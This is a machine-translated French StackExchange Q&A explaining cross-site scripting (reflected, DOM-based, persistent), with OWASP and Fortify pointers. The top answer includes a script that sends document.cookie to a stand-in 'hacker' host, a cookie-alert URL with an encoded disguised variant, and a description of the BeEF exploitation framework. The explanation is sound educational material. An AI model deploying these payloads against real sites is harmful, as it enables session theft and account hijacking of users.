Question:
Comment fonctionne XSS?
Ither
2010-12-28 22:58:14 UTC
view on stackexchange narkive permalink

J'ai très peu d'expérience en développement Web, mais je m'intéresse à la sécurité. Cependant, je n'ai pas complètement compris comment fonctionne XSS. Pouvez-vous l'expliquer à med? L'article Wikipédia me donne une bonne idée mais je ne pense pas la comprendre très bien.

Pouvez-vous donner des questions plus spécifiques ou des points de malentendu? Pour la commodité des autres visiteurs, l'article Wikipédia est ici: http://en.wikipedia.org/wiki/Cross-site_scripting
Voici deux exemples très faciles à comprendre de XSS http://www.virtualforge.de/vmovie/xss_lesson_1/xss_selling_platform_v1.0.html http://www.virtualforge.de/vmovie/xss_lesson_2/xss_selling_platform_v2.0.html Tout le monde avec une petite expérience en HTTP et Web devrait être capable de le comprendre.
Comme des choses presque importantes sont déjà couvertes ici, je voudrais juste ajouter quelques liens utiles: - à propos de DOM XSS en particulier: http://code.google.com/p/domxsswiki/. Projet de Stefano Di Paola. - articles sur la sécurité Web: http://code.google.com/p/doctype/wiki/ArticlesXSS ​​- atelier de programmation pour améliorer vos connaissances sur les vulns Web: http://google-gruyere.appspot.com/ - quelques liens par ici, recherchez par tag [xss] (http://security.stackexchange.com/questions/tagged/xss).
Quatre réponses:
#1
+81
Chris Dale
2010-12-29 03:16:47 UTC
view on stackexchange narkive permalink

XSS - Cross Site Scripting (mais pas limité au cross site scripting)

XSS est généralement présenté de 3 manières différentes:

Non persistant (souvent appelé XSS réfléchi)

C'est à ce moment-là que vous êtes en mesure d'injecter du code et que le serveur vous le renvoie, non assaini. Cela peut souvent être exploité en distribuant une URL (généralement innocente) sous une forme ou une manière sur laquelle d'autres personnes peuvent cliquer.

Cela peut être particulièrement efficace lorsque vous traitez des attaques ciblées contre quelqu'un. Tant que vous pouvez obliger quelqu'un à cliquer sur l'URL que vous avez envoyée, il y a une chance que vous puissiez obtenir des privilèges élevés sur le système.

Exemple:

Un site contenant un champ de recherche n'a pas la désinfection d'entrée appropriée. En créant une requête de recherche ressemblant à quelque chose comme ceci:

  "><SCRIPT>var + img = new + Image (); img.src =" http: // hacker / "% 20 +% 20document.cookie ; < / SCRIPT>  

Assis à l'autre bout, sur le serveur Web, vous recevrez des appels où après un double espace se trouve le cookie des utilisateurs. , vous permettant de voler leur sessionID et de détourner la session.

En utilisant des techniques telles que le spam, les messages de forum, les messages instantanés, les boîtes à outils d'ingénierie sociale, cette vulnérabilité peut être très dangereuse.

basé sur DOM

Très similaire à non persistant, mais où la charge utile javascript n'a pas à être renvoyée par écho du serveur Web. Cela peut souvent être simplement la valeur d'une URL Le paramètre est renvoyé sur la page à la volée lors du chargement en utilisant javascript déjà résident.

Exemple:

  http: //victim/displayHelp.php? title = FAQ # < script>alert (document.cookie) < / script>  

Bien sûr, les criminels modifieraient l'URL pour la rendre plus innocente. La même charge utile que ci-dessus juste encodée différemment:

  http: //victim/displayHelp.php title = FAQ # & # 60& # 115& # 99& # 114& # 105 # 112& # 116& # 62& # 97& # 108& # 101& # 114& # 116& # 40& # 100& # 111& # 99& # 117& # 109& # 101& # 110& # 116& # 46& # 99& # 111& # 111& # 107& # 105& # 101& # 41& # 60& # 47& # 115& # 99& # 114& # 105& # 112& # 116& # 62  

Vous pouvez même mieux le masquer lors de l'envoi à des clients de messagerie prenant en charge HTML comme ceci:

  <a href = "http: //victim/displayHelp.php ? title = FAQ # <script>alert (document.cookie) < / script> ">http: //victim/displayHelp.php? title = FAQ < / a>  

Persistant

Une fois que vous êtes capable de conserver un vecteur XSS, l'attaque devient beaucoup plus dangereuse très rapidement. Un XSS persistant vous est renvoyé par le serveur, généralement parce que le XSS a été stocké dans un champ de base de données ou similaire. Considérez que l'entrée suivante est stockée dans la base de données puis vous est présentée sur votre profil:

  <input type = "text" value = "Votre nom" / >  

Si vous parvenez à faire accepter et stocker les entrées non contrôlées par l'application, tout ce que vous avez à faire est de faire en sorte que d'autres utilisateurs voient votre profil (ou où le XSS est reflété).

Ces types de XSS peut être non seulement difficile à repérer, mais très dévastateur pour le système. Jetez un œil au ver XSS appelé ver Samy!

Au tout début de XSS, vous avez vu ce genre d'exploit partout dans les livres d'or, les communautés, les avis d'utilisateurs, les salles de chat et ainsi de suite.


Deux vecteurs d'attaque

Maintenant que vous connaissez les différentes façons de fournir une charge utile XSS, j'aimerais mentionner quelques vecteurs d'attaque XSS qui peuvent être très dangereux:

  • Défacement XSS

    La dégradation XSS n'est pas une tâche difficile à accomplir. Si le XSS est également persistant, il peut être difficile pour les administrateurs système de le comprendre. Jetez un œil à «l'attaque» de RSnake bloqué qui a supprimé la fonction de prévisualisation de livres d'Amazon. Lecture assez drôle.

  • Vol de cookies et détournement de session

    Comme dans l'un des exemples ci-dessus, une fois que vous pouvez accéder aux cookies des utilisateurs, vous pouvez également saisir des informations sensibles information. La capture des identifiants de session peut conduire au détournement de session, qui à son tour peut conduire à des privilèges élevés sur le système.

Désolé pour le long message. Je vais m'arrêter maintenant. Comme vous pouvez le voir, XSS est un très gros sujet à couvrir. J'espère cependant avoir clarifié les choses pour vous.


Exploiter XSS avec BeEF

Pour voir facilement comment XSS peut être exploité Je recommande d'essayer BeEF, Framework d'exploitation de navigateur. Une fois qu'il est décompressé et exécuté sur un serveur Web prenant en charge PHP, vous pouvez facilement essayer de générer une simulation d'une victime (appelée zombie) où vous pouvez très facilement essayer différentes charges utiles XSS. Pour en citer quelques-uns:

  • Réseau local Portscan
  • Réseau local Pingsweep
  • Envoyer l'applet infecté par un virus, signé et prêt
  • Envoyer messages au client
  • Passer un appel Skype

La liste est longue. Je recommande de voir la vidéo sur la page d'accueil de BeEF.

MISE À JOUR: J'ai fait un article sur XSS sur mon blog qui décrit XSS. Il contient un peu l'histoire de XSS, les différents types d'attaques et quelques cas d'utilisation tels que BeEF et Shank.

Oh wow, l'article wikipedia Sammy.JS ne plaisantait pas, il suffit de regarder ces résultats de recherche: https://www.google.com/search?q=inurl%3Amyspace.com+Samy+is+my+hero
@Hyangelo, haha ​​je sais. Des trucs assez épiques ici.
@Hyangelo, Oui, ce type était assez célèbre. Aussi pour [evercookie] (https://www.google.com/search?q=evercookie) **. **
Merci pour une très bonne explication, je n'ai pas réussi à reproduire le XSS basé sur DOM.Cela fonctionnait en fait dans l'ancien IE, mais il semble que les navigateurs modernes encodent lorsque vous lisez par ex.`document.baseURI`
#2
+14
Purge
2010-12-28 23:54:23 UTC
view on stackexchange narkive permalink

Pour reprendre ce que SteveSyfuhs a dit, il existe de nombreuses façons malveillantes d'utiliser XSS.

Exemples:

Un exemple serait pour injecter du code malveillant dans un champ de base de données. Par la suite, chaque fois que ce champ est affiché à l'utilisateur final non assaini, son navigateur exécute le code. Cela s'appelle Script croisé de sites persistants / stockés .

Une autre serait la possibilité d'insérer du code dans les paramètres GET ou POST sans qu'ils soient validés ou nettoyés. Lorsque ces variables modifient le contenu de votre page, les données modifiées seront affichées à l'utilisateur final et son navigateur exécutera alors le code malveillant. Ceci est généralement présent dans les liens malveillants via e-mail / Web qui envoient ces paramètres GET lorsque quelqu'un clique sur le lien. Cela s'appelle Reflected Cross Site Scripting .

Ressources:

Fortify Software a une excellente ressource pour expliquer les vulnérabilités et donner des exemples: https://www.fortify.com/vulncat/en/vulncat/index.html

  • Cliquez sur l'icône langue de votre choix, et sous Validation d'entrée et Représentation
    , vous pouvez sélectionner parmi les différents types de vulnérabilités de Cross Site
    Scripting telles que définies par Fortify Software.

OWASP a une excellente ressource pour expliquer comment éviter les vulnérabilités XSS: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

#3
+9
Steve
2010-12-28 23:45:08 UTC
view on stackexchange narkive permalink

XSS consiste à laisser des données arbitraires dans un système, puis à montrer ces données non modifiées à un utilisateur. Si j'enregistrais des js sur mon profil et que quelqu'un afficherait cette page, les js s'exécuteraient. À titre d'exemple, je pourrais demander aux js d'envoyer le contenu du cookie des utilisateurs à mon service Web, me permettant de faire tout ce que je veux avec leur cookie, comme voler leur session.

#4
+8
Ventral
2010-12-28 23:56:57 UTC
view on stackexchange narkive permalink

En résumé, les scripts intersites incitent le navigateur Web à exécuter du code malveillant car les développeurs n'ont pas vérifié les entrées non approuvées.

Donc, si vous prenez un exemple d'attaque XSS, l'entrée non approuvée pourrait être un paramètre d'URL contenant du JavaScript. Le développeur suppose que le paramètre contient uniquement des données (ou ne le vérifie pas suffisamment) et ajoute simplement le contenu du paramètre à la page HTML. Le navigateur exécute alors consciencieusement le JavaScript et vous avez vous-même une attaque XSS réfléchie.

Plus d'informations peuvent être trouvées ici: page OWASP XSS



Ce Q&R a été automatiquement traduit de la langue anglaise.Le contenu original est disponible sur stackexchange, que nous remercions pour la licence cc by-sa 2.0 sous laquelle il est distribué.
Loading...